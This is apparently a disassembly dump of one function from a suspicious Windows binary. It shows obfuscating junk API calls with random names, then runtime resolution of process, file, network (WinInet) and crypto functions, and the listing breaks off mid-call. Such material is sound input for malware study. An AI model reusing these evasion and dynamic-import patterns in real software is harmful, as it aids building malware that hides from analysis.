Function at 0x401000
Capabilities:
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa44
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x6b1
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4120a0
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.XML9zp7v7g8
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push ebx
push str.regevw6vq7j
push 0x80000001
call edi
push str.WTMR_ob22lwnk
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401094
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push 0x8f8
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regzp8q1u6x
push 0x80000001
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.log:_e87n70va
call edi
push str.WTMR_759xccm9
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push eax
call esi
push str.MTXrxgvqhaw
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40110a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call ebx
push str.WTMR_8ntu40mj
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.ep3wk031
push str.91npe4ox
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40113a
push eax
call esi
call ebx
jmp 0x401155
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.reg2gzhrlec
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call ebx
push str.MTX0shuukbm
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call ebx
test esi, esi
je 0x40117e
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_9yc21jsz
call edi
jmp 0x40118e
push str.fnw2w2ab
push str.sj007jvz
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XMLycyt8ypl
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
push 0x3ad
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.log:_nq9dztvg
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SMPHR_0q6ih2xa
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.regemrhnijm
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401225
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regvhs59gsp
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x401235
push str.y6vld0xh
push str.wzi1rqak
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x40124e
push 0xfffffffffffffff7
jmp 0x402546
push str.MTXcva3xyk0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40126a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40126c
call ebx
lea eax, [ebp - 0x180]
push eax
push str.s_yp9763pc
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_4ad8tlym
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 7
pop esi
push str.log:_0nd3b0vm
call edi
sub esi, 1
jne 0x40129e
push esi
push 0x361
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.op0cx6gi
push str.s1gjxwd2
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x887
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.WTMR_d5mpkoi1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.reg8gr9zbgo
push 0x80000001
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x40132e
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_vc7gladv
call edi
push 0x30d
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push str.XMLltekvav7
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_5xrl5w49
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
je 0x401392
push str.regdu2bui53
jmp 0x401397
push str.reg28ynuixx
push 0x80000001
call esi
push str.WTMR_bzh707jl
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 4]
test eax, eax
je 0x4013c9
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_47kl4iru
call edi
jmp 0x4013e0
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.reguvwdc854
push 0x80000001
call esi
lea eax, [ebp - 0x2c0]
push eax
push str.s_f1r375bo
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTXaomvysm9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
test eax, eax
je 0x40141f
push str.log:_89c11pvd
call edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x4122f0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.wtrk3swd
push str.andeq0vd
mov dword [reloc.KERNEL32.dll_GetProcAddress], eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x97
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XMLlstzkkuo
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_isodsedj
call edi
push 0xa
pop edi
call ebx
sub edi, 1
jne 0x40147c
push str.MTX26qr7rfg
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], eax
test eax, eax
je 0x4014d4
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.reg5s46xkq6
push 0x80000001
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.regvqmk0jo5
push 0x80000001
call esi
push str.ev_j9o6mq71
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_2itsc7j4
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.4ht4omqp
push str.u4isms9z
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call esi
push str.WTMR_dntrqfr3
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401535
push eax
call esi
xor eax, eax
push eax
push 0xf12
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea eax, [ebp - 0x400]
push eax
push str.s_1qrtfisa
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_7mi6uk4i
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x2c]
push eax
push 0x20019
push esi
push str.regpuqb8mtg
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XML1yif2wps
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ev_kz20hauk
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xe4b
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.reg4svb799r
push 0x80000001
call esi
push str.MTXbu1ulph4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
test eax, eax
je 0x401648
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regc0oldo1k
push 0x80000001
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_5mf9v8ej
call edi
jmp 0x40164a
call ebx
push str.SMPHR_soa6ozgi
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call ebx
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401670
call ebx
mov esi, dword [ebp - 0xc]
push 0x412420
push esi
call dword [0x4170d8]
push str.TerminateProcess
push esi
mov dword [reloc.KERNEL32.dll_LoadLibraryW], eax
call dword [0x4170d8]
push str.ev_s0z9vlos
push 0
push 1
push 0
mov dword [0x417118], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.XMLkvlfrz72
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call ebx
push str.MTX1an5cv9k
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4016fb
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.fww5ykxy
push str.gcdv8uvx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push 0x514
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.reg719naxf2
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.2181ggd4
push str.recj5qks
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_wtnexwiw
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_cf2ap146
mov esi, eax
call edi
test esi, esi
je 0x40176b
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_ogj0ypit
jmp 0x401770
push str.log:_conql9xp
call edi
push 0xf21
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_9mhxcwkb
call edi
push str.log:_z1au6bck
call edi
mov esi, dword [ebp - 0xc]
push str.GetUserDefaultLocaleName
push esi
call dword [0x4170d8]
push str.GetEnvironmentVariableW
push esi
call dword [0x4170d8]
push 0x412538
push esi
mov dword [0x417164], eax
call dword [0x4170d8]
push str.FreeLibrary
push esi
mov dword [reloc.KERNEL32.dll_lstrlenA], eax
call dword [0x4170d8]
push str.GlobalFree
push esi
mov dword [0x417148], eax
call dword [0x4170d8]
push str.CreateFileW
push esi
mov dword [0x4170e0], eax
call dword [0x4170d8]
push str.GetTimeZoneInformation
push esi
mov dword [0x417044], eax
call dword [0x4170d8]
push str.lstrcpyA
push esi
mov dword [0x417028], eax
call dword [0x4170d8]
push str.ReadFile
push esi
mov dword [0x417054], eax
call dword [0x4170d8]
push str.SMPHR_cdxz4w67
push 1
xor esi, esi
mov dword [0x41708c], eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401851
push str.log:_7nk08cm1
call edi
push str.ev_2t9g2hpf
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xa
pop esi
push str.log:_16ujzsm1
call edi
sub esi, 1
jne 0x401873
push str.WTMR_wyvvis5a
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.m2dnm9cs
push str.egcvay9z
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.s9lrpaxw
push str.awwtbsdy
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x91
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XMLljz46uce
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_b2w1s67p
call edi
push str.WTMR_uxfouxb7
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40191b
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.iqytccdt
push str.jmou9d4q
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x401922
push str.log:_21wtus7d
call edi
push esi
push 0x106a
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push 0x20019
push 0
push str.regblgpzrtw
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x540]
push eax
push str.s_7dotez06
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0xc]
push str.lstrlenW
push esi
call dword [0x4170d8]
push str.WriteFile
push esi
mov dword [0x417090], eax
call dword [0x4170d8]
push str.SetCurrentDirectoryW
push esi
mov dword [0x4170ec], eax
call dword [0x4170d8]
push str.lstrcmpW
push esi
mov dword [0x4170dc], eax
call dword [0x4170d8]
push 0x4126bc
push esi
mov dword [0x4170a4], eax
call dword [0x4170d8]
push 0x4126c8
push esi
mov dword [reloc.KERNEL32.dll_CloseHandle], eax
call dword [0x4170d8]
push str.FindNextFileW
push esi
mov dword [reloc.KERNEL32.dll_GetLastError], eax
call dword [0x4170d8]
push str.FindFirstFileW
push esi
mov dword [0x417150], eax
call dword [0x4170d8]
push str.Process32First
push esi
mov dword [0x417020], eax
call dword [0x4170d8]
push str.Process32FirstW
push esi
mov dword [0x41710c], eax
call dword [0x4170d8]
push str.GetFileSize
push esi
mov dword [0x417070], eax
call dword [0x4170d8]
push str.OpenMutexW
push esi
mov dword [0x417154], eax
call dword [0x4170d8]
push str.WideCharToMultiByte
push esi
mov dword [0x417170], eax
call dword [0x4170d8]
push str.GlobalAlloc
push esi
mov dword [0x4170e8], eax
call dword [0x4170d8]
mov dword [0x417098], eax
push str.GetCurrentProcess
push esi
call dword [0x4170d8]
push str.ExitProcess
push esi
mov dword [0x417048], eax
call dword [0x4170d8]
push str.CreateMutexW
push esi
mov dword [0x41702c], eax
call dword [0x4170d8]
push str.GetSystemWow64DirectoryW
push esi
mov dword [0x417108], eax
call dword [0x4170d8]
push str.GetLocaleInfoW
push esi
mov dword [0x417110], eax
call dword [0x4170d8]
push str.GlobalMemoryStatusEx
push esi
mov dword [0x4170ac], eax
call dword [0x4170d8]
push str.GetDriveTypeW
push esi
mov dword [0x417034], eax
call dword [0x4170d8]
push str.OpenProcess
push esi
mov dword [0x417130], eax
call dword [0x4170d8]
mov dword [0x417060], eax
xor eax, eax
push eax
push 0xc6b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.ye1ustv2
push str.v6f0bbd4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push str.ev_7kmlu7vv
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_m4ytynfz
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.8z2t8gtj
push str.hg7fsjuh
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
push 0xc86
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x680]
push eax
push str.s_kzz02emp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_a5lhfpm4
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401bb0
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.XMLo4snug82
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x3c]
push eax
push 0x20019
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.reg05t4u0kk
push 0x80000001
call esi
push str.MTX52acg1yh
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401c08
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_vhef2ae3
call edi
jmp 0x401c21
call ebx
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.reg6ggok2ef
push 0x80000001
call esi
mov esi, dword [ebp - 0xc]
push 0x412888
push esi
call dword [0x4170d8]
push str.lstrcmpiW
push esi
mov dword [reloc.KERNEL32.dll_LocalAlloc], eax
call dword [0x4170d8]
push str.SetEnvironmentVariableW
push esi
mov dword [0x41711c], eax
call dword [0x4170d8]
push str.CopyFileW
push esi
mov dword [0x417168], eax
call dword [0x4170d8]
push str.GetModuleFileNameW
push esi
mov dword [0x417188], eax
call dword [0x4170d8]
push str.lstrcmpA
push esi
mov dword [0x417074], eax
call dword [0x4170d8]
push str.Sleep
push esi
mov dword [0x417088], eax
call dword [0x4170d8]
push str.GetSystemInfo
push esi
call dword [0x4170d8]
push 0x4128fc
push esi
mov dword [0x4170fc], eax
call dword [0x4170d8]
push str.Process32Next
push esi
mov dword [reloc.KERNEL32.dll_LocalFree], eax
call dword [0x4170d8]
push str.WTMR_xvse5mia
push 1
push 0
mov dword [0x417080], eax
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_jz5qm7rc
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.cnh9796u
push str.6jlmcjrx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_wljxxa1y
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401d1e
push str.log:_ko74hj6s
call edi
push 3
pop esi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regqncl2ht1
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esi, 1
jne 0x401d21
push str.ev_f5pprqpz
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXrd7s4bvk
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x20019
test esi, esi
je 0x401da2
push 0
push str.regh5zxhtxq
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_iedl7o3i
call edi
xor edi, edi
jmp 0x401dcd
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor edi, edi
push edi
push str.regwxpg5emx
push 0x80000001
call esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push edi
push str.reg92q3xuv2
push 0x80000001
call esi
push edi
push 0x947
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xeb1
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.8ldy45e4
push str.zj006c6o
call esi
push str.cdmky9t5
push str.atrxgoej
call esi
mov esi, dword [ebp - 0xc]
push str.Process32NextW
push esi
call dword [0x4170d8]
push str.DeleteFileW
push esi
mov dword [0x41700c], eax
call dword [0x4170d8]
push str.lstrcpynA
push esi
mov dword [0x4170f8], eax
call dword [0x4170d8]
push str.MultiByteToWideChar
push esi
mov dword [0x417008], eax
call dword [0x4170d8]
push 0x412a34
push esi
mov dword [0x4170b0], eax
call dword [0x4170d8]
push str.CreateToolhelp32Snapshot
push esi
mov dword [reloc.KERNEL32.dll_FindClose], eax
call dword [0x4170d8]
push str.HeapFree
push esi
mov dword [0x41709c], eax
call dword [0x4170d8]
push str.GetUserDefaultLCID
push esi
call dword [0x4170d8]
push str.GetLogicalDriveStringsW
push esi
mov dword [0x417174], eax
call dword [0x4170d8]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Shlwapi.dll
mov dword [0x41714c], eax
call edi
mov esi, eax
push str.PathMatchSpecW
push esi
call dword [0x4170d8]
push str.StrCpyW
push esi
mov dword [0x417140], eax
call dword [0x4170d8]
push str.StrStrIW
push esi
mov dword [0x417144], eax
call dword [0x4170d8]
push str.StrStrW
push esi
call dword [0x4170d8]
push str.PathCombineW
push esi
mov dword [0x417190], eax
call dword [0x4170d8]
mov dword [str.PsYv], eax
push str.StrRChrW
push esi
call dword [0x4170d8]
push str.StrToIntA
push esi
mov dword [0x4170e4], eax
call dword [0x4170d8]
push str.StrToIntW
push esi
call dword [0x4170d8]
push str.StrStrA
push esi
mov dword [0x417078], eax
call dword [0x4170d8]
push str.StrToInt64ExW
push esi
mov dword [0x417014], eax
call dword [0x4170d8]
push str.Ole32.dll
call edi
mov esi, eax
push 0x412b24
push esi
call dword [0x4170d8]
push str.CoCreateInstance
push esi
call dword [0x4170d8]
push str.WinInet.dll
mov dword [0x417194], eax
call edi
push str.Shell32.dll
mov dword [ebp - 0xc], eax
call edi
push str.User32.dll
mov dword [ebp - 0x18], eax
call edi
push str.Advapi32.dll
mov dword [ebp - 8], eax
call edi
push str.Bcrypt.dll
mov dword [ebp - 0x10], eax
call edi
push str.Crypt32.dll
call edi
push str.WTMR_jqiiimpb
push 1
xor esi, esi
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov edi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push eax
call edi
lea eax, [ebp - 0x40]
push eax
push 0x20019
push esi
push str.regi5t31w0v
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_qwslzv2s
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXh1h0vjfc
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x402025
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x402035
push str.rv2yoix7
push str.zj42gld3
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x8a8
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.yth6qxay
push str.3pwug0wb
call esi
xor eax, eax
push eax
push 0xef7
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.mmic92t0
push str.pptwkxx3
call esi
lea eax, [ebp - 0x7c0]
push eax
push str.s_ypjrcmjd
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_qzioiixa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.jv0sf60k
push str.u3fzw22f
mov dword [ebp - 0x14], eax
call esi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4020c8
push eax
call edi
call ebx
mov esi, dword [ebp - 0xc]
push str.HttpQueryInfoA
push esi
call dword [0x4170d8]
push str.HttpOpenRequestW
push esi
call dword [0x4170d8]
push str.InternetReadFileExW
push esi
mov dword [0x4170bc], eax
call dword [0x4170d8]
push str.InternetOpenUrlW
push esi
call dword [0x4170d8]
push str.HttpQueryInfoW
push esi
mov dword [0x417114], eax
call dword [0x4170d8]
push str.InternetCloseHandle
push esi
call dword [0x4170d8]
push str.InternetConnectW
push esi
mov dword [0x41706c], eax
call dword [0x4170d8]
mov dword [0x417184], eax
lea eax, [ebp - 0x900]
push eax
push str.s_7gtazm7u
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.XMLirknili0
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.log:_yfjw9y17
call edi
push esi
push 0x127e
push esi
push 4
push esi
push 0xffffffffffffffff
